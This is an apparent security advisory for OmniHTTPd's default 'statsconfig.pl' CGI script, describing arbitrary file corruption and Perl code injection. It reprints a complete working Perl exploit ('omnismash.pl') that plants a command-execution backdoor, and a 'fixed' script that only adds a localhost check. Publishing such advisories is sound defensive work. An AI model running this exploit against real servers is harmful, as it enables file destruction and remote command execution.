|
Vulnerability OmniHTTPd Affected OmniHTTPd Description Joe Testa found following. Two vulnerabilities exist within the 'statsconfig.pl' script that comes with OmniHTTPd v2.07 and is installed by default. The first allows a remote attacker to corrupt any file in the system. The second allows arbitrary code to be inserted into '/cgi-bin/stats.pl'. Here is the offending code: if ($FORM{'mostbrowsers'}) { $mostbrowsers_str = '$most_browsers = "' . $FORM{'mostbrowsers'} . '";'; } ... unless (-f "$FORM{'cgidir'}/stats.prg") { $error .= "<LI>Config couldn't find the file stats.prg in your cgi-bin directory."; [ exit(); ] } ... $cgifile = "$FORM{'cgidir'}/stats.pl"; $progfile = "$FORM{'cgidir'}/stats.prg"; open(CGI, "> $cgifile"); open(PROG, "$progfile"); print CGI "#!/usr/local/bin/perl5\n"; print CGI "#AutoConfiged by Statsconfig.pl\n\n"; print CGI "$deflimit_str\n$mostip_str\n$mostreq_str\n$mostbrowsers_str\n$timelog_str\n$mostipnum_str\n$mostreqf_str\n$mostbrowsernum_str\n$logloc_str\n$imagebar_str\n$serveradd_str\n$barwidth_str\n$barheight_str\n$listpass_str\n$bgcolor_str\n$bgimage_str\n$ttBGcolor_str\n\n$perllib_str\n"; ... None of the variables in %FORM are filtered. An attacker simply sets $FORM{'cgidir'} to the absolute path of any file in the system (padded with a null, of course), and that file will be corrupted. Note that because absolute file names are used, this exploit is not restricted to the drive the webserver resides on. Code injection is achieved by setting $FORM{'mostbrowsers'} to any legal value, followed by a semicolon and the payload. Joe has written an exploit in PERL to demonstrate the two vulnerabilities. To corrupt a file: perl omnismash.pl localhost 80 -corrupt c:/autoexec.bak The file you choose will be overwritten with approximately 470 bytes of PERL code. To inject code into '/cgi-bin/stats.pl': perl omnismash.pl localhost 80 -inject c:/httpd/cgi-bin You must pass the absolute path to the cgi-bin directory for this to work. This exploit is hard-coded to insert the following line: if( $ENV{'QUERY_STRING'} ) { open( QS,$ENV{'QUERY_STRING'} ); } With that done, point your browser to http://localhost/cgi-bin/stats.pl?|dir You will see a directory listing of '/cgi-bin'. Exploit: #!/usr/bin/perl ###################################################### # # # omnismash v1.2 by Joe Testa [01.08.2001 9:26PM] # # ( joetesta@hushmail.com ) # # # ###################################################### # # # This program exploits two holes in # # 'statsconfig.pl', a cgi script which is installed # # by default by OmniHTTPd v2.07 (and possibly older # # versions). # # # # 1.) Any file on the system may be corrupted, # # including those on drives the server does not # # reside on. # # # # # # Example: # # # # perl omnismash.pl localhost 80 -corrupt # # c:\autoexec.bak # # # # # # 2.) Code can be injected into # # '/cgi-bin/stats.pl'. The absolute path to the # # the 'cgi-bin' must already be known. # # # # # # Example: # # # # perl omnismash.pl localhost 80 -inject # # c:/httpd/cgi-bin # # # # This exploit is set to insert a bare 'open()' call # # to allow command execution like so: # # # # http://localhost/cgi-bin/stats.pl?|dir # # # ###################################################### use IO::Socket; print "\nomnismash v1.2 by Joe Testa [01.08.2001 9:26PM]\n"; print " ( joetesta\@hushmail.com )\n\n\n"; if ( scalar @ARGV < 4 ) { print "usage: perl omnismash.pl target port " . "[ -inject cgipath | -corrupt file ]\n"; exit(); } $target = $ARGV[ 0 ]; $port = $ARGV[ 1 ]; $inject_or_corrupt = $ARGV[ 2 ]; $stuff = $ARGV[ 3 ]; print "Creating socket... "; $sock = new IO::Socket::INET( PeerAddr => $target, PeerPort => int( $port ), Proto => 'tcp' ); die "$!" unless $sock; print "done.\n"; if ( $inject_or_corrupt eq '-inject' ) { $worthless_stuff = "perllib=" . $stuff . "/statsconfig.pl%00&" . "cgidir=" . $stuff; $more_worthless_stuff = "&deflimit=&mostip=on&mostreq=on&" . "mostbrowsers=on&timelog=on&mostipnum=5&" . "mostreqf=5&mostbrowsernum=5"; $semi_important_stuff = ";%20if(\$ENV{'QUERY_STRING'})" . "{open(QS,\$ENV{'QUERY_STRING'});}\$a%3D1&" . "logloc=c%3A%2Fhttpd%2Flogs%2Faccess.log&" . "imagebar=%2Fstatsbar.gif&" . "serveradd=%3C%21--%23echo+var%3D&" . "barwidth=100&barheight=5&listpass=&" . "bgcolor=%23FFFFFF&bgimage=&" . "ttBGcolor=%23FFFFDD"; $exploit = $worthless_stuff . $more_worthless_stuff . $semi_important_stuff; } elsif ( $inject_or_corrupt eq '-corrupt' ) { # Cheap hex encoding.... $stuff =~ s/:/\%3A/g; # ':' => %3A $stuff =~ s/\\/\%2F/g; # '\' => %2F $stuff =~ s/\//\%2F/g; # '/' => %2F $stuff =~ s/ /\%20/g; # ' ' => %20 $stuff =~ s/\./%2E/g; # '.' => %2E # This appends a hex-encoded null character to the file to truncate # text that is appended to it by statsconfig.pl during processing. $stuff .= "%00"; # Construct the exploit string. This does nothing more than set # the 'perllib' and 'cgidir' fields to our null-padded filename, # then add additional fields to pass a series of "if()" checks. $worthless_stuff = "&deflimit=&mostip=on&mostreq=on&" . "mostbrowsers=on&timelog=on&mostipnum=5&" . "mostreqf=5&mostbrowsernum=5&" . "logloc=c%3A%2Fhttpd%2Flogs%2Faccess.log&" . "imagebar=%2Fstatsbar.gif&" . "serveradd=%3C%21--%23echo+var%3D&" . "barwidth=100&barheight=5&listpass=&" . "bgcolor=%23FFFFFF&bgimage=&" . "ttBGcolor=%23FFFFDD"; $exploit = "perllib=" . $stuff . "&cgidir=" . $stuff . $worthless_stuff; } $length = length( $exploit ); # Write the string to the socket... print "Sending exploit string... "; print $sock "POST /cgi-bin/statsconfig.pl HTTP/1.0\n"; print $sock "Content-type: application/x-www-form-urlencoded\n"; print $sock "Content-length: $length\n\n"; print $sock $exploit; print "done.\n"; # Read result from server... print "Waiting for response...\n\n"; read( $sock, $buffer, 1024 ); print $buffer; close( $sock ); exit(); Solution Erase 'statsconfig.pl' along with any other unnecessary files in your 'cgi-bin'. If this is not possible in your particular situation, replace your current 'statsconfig.pl' file with the attached 'statsconfig.fixed' file. This version allows 'statsconfig.pl' to be invoked only from localhost. if ( $ENV{'REMOTE_ADDR'} ne '127.0.0.1' ) { print "Content-type: text/html\n\n"; print "<html><center>'statsconfig.pl' may be invoked only from "; print "the localhost</center></html>"; exit(); } # Get the input read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); # Split the name-value pairs @pairs = split(/&/, $buffer); foreach $pair (@pairs){ ($name, $value) = split(/=/, $pair); $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $name =~ tr/+/ /; $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $FORM{$name} = $value; } if ($FORM{'deflimit'}) { $deflimit_str = '$DEF_lim = ' . $FORM{'deflimit'} . ';'; } else { $deflimit_str = '#$DEF_lim = 500'; } if ($FORM{'mostip'}) { $mostip_str = '$most_ip = "' . $FORM{'mostip'} . '";'; } else { $mostip_str = '#most_ip = "off";'; } if ($FORM{'mostreq'}) { $mostreq_str = '$most_req = "' . $FORM{'mostreq'} . '";'; } else { $mostreq_str = '#$most_req = "off";'; } if ($FORM{'mostbrowsers'}) { $mostbrowsers_str = '$most_browsers = "' . $FORM{'mostbrowsers'} . '";'; } else { $mostbrowsers_str = '#$most_browsers = "off";'; } if ($FORM{'timelog'}) { $timelog_str = '$timelogging = "' . $FORM{'timelog'} . '";'; } else { $timelog_str = '#timelogging = "off";'; } if ($FORM{'mostipnum'}) { $mostipnum_str = '$most_ip_num = ' . $FORM{'mostipnum'} . ';'; } elsif ($FORM{'mostip'}) { $error .= "<LI>Number of top IP's needs to be positive. If you want it disabled unckeck the apropriate box."; } else { $mostipnum_str = '$most_ip_num = 0;'; } if ($FORM{'mostbrowsernum'}) { $mostbrowsernum_str = '$most_browser_num = ' . $FORM{'mostbrowsernum'} . ';'; } elsif ($FORM{'mostbrowsers'}) { $error .= "<LI>Number of top browsers needs to be positive. If you want it disabled unckeck the apropriate box."; } else { $mostbrowsernum_str = '$most_browser_num = 0;'; } if ($FORM{'mostreqf'}) { $mostreqf_str = '$most_req_f = ' . $FORM{'mostreqf'} . ';'; } elsif ($FORM{'mostreq'}) { $error .= "<LI>Number of top files needs to be positive. If you want it disabled unckeck the apropriate box."; } else { $mostreqf_str = '$most_req_f = 0;'; } if ($FORM{'logloc'}) { $logloc_str = '$accesslog = "' . $FORM{'logloc'} . '";'; } else { $error .= "<LI>No access log location specifed."; } if ($FORM{'imagebar'}) { $imagebar_str = '$imagebar = "' . $FORM{'imagebar'} . '";'; } else { $error .= "<LI>No bar image specified."; } if ($FORM{'serveradd'}) { $serveradd_str = '$serveradd = "' . $FORM{'serveradd'} . '";'; } else { $serveradd_str = '$serveradd = "this server";'; } if ($FORM{'barwidth'}) { if ($FORM{'barwidth'} > 0) { $barwidth_str = '$barwidth = ' . $FORM{'barwidth'} . ';'; } else { $error .= "<LI>Bar width needs to be a positive number."; } } else { $error .= "<LI>The bar width needs to be entered."; } if ($FORM{'barheight'}) { if ($FORM{'barheight'} > 0) { $barheight_str = '$barheight = ' . $FORM{'barheight'} . ';'; } else { $error .= "<LI>Bar height needs to be a positive number."; } } else { $error .= "<LI>The bar height needs to be entered."; } if ($FORM{'listpass'}) { $listpass_str = '$listpass = "' . $FORM{'listpass'} . '";'; } else { $listpass_str = '#listpass = "";'; } if ($FORM{'bgcolor'}) { $bgcolor_str = '$bgcolor = "' . $FORM{'bgcolor'} . '";'; } else { $bgcolor_str = '$bgcolor = "#FFFFFF";'; } if ($FORM{'bgimage'}) { $bgimage_str = '$bgimage = "' . $FORM{'bgimage'} . '";'; } else { $bgimage_str = '$bgimage = "";'; } if ($FORM{'ttBGcolor'}) { $ttBGcolor_str = '$tableTopBGColor = "' . $FORM{'ttBGcolor'} . '";'; } else { $ttBGcolor_str = '$tableTopBGColor = "#ffffdd";'; } if ($FORM{'perllib'}) { $perllib_str = 'push(@INC,"'. $FORM{'perllib'} . '");'; } else { $error .= "<LI>You didn't report the location of your perl lib directory."; } unless ($FORM{'cgidir'}) { $error .= "<LI>You didn't report the location of your cgi-bin directory."; } unless (-f "$FORM{'cgidir'}/stats.prg") { $error .= "<LI>Config couldn't find the file stats.prg in your cgi-bin directory."; } unless (-f "$FORM{'perllib'}/ctime.pl") { $error .= "<LI>Config couldn't find ctime.pl in your specifed perl lib directory of $FORM{'perllib'}."; } print "Content-type: text/html\n\n"; if ($error) { print "<HTML><H3>Errors: <UL>\n$error</UL><P>Please go back and retry.</H3></HTML>"; exit(); } $cgifile = "$FORM{'cgidir'}/stats.pl"; $progfile = "$FORM{'cgidir'}/stats.prg"; open(CGI, ">$cgifile"); open(PROG, "<$progfile"); print CGI "#!/usr/local/bin/perl5\n"; print CGI "#AutoConfiged by Statsconfig.pl\n\n"; print CGI "$deflimit_str\n$mostip_str\n$mostreq_str\n$mostbrowsers_str\n$timelog_str\n$mostipnum_str\n$mostreqf_str\n$mostbrowsernum_str\n$logloc_str\n$imagebar_str\n$serveradd_str\n$barwidth_str\n$barheight_str\n$listpass_str\n$bgcolor_str\n$bgimage_str\n$ttBGcolor_str\n\n$perllib_str\n"; if ($FORM{'debugon'}) { print CGI '$debug = 1;' . "\n"; } print GCI "\n"; while (<PROG>) { print CGI $_; } print "<HTML>\n<BODY BGCOLOR=#FFFFFF>\n<center>\n<h2>Stats successfuly configured.</h2>\n", "<FORM ACTION=\"/cgi-bin/stats.pl\" METHOD=POST>\n", "<INPUT TYPE=\"submit\" VALUE=\"Click here to try it out\">\n", "</FORM>\n</center>\n</BODY>\n</HTML>";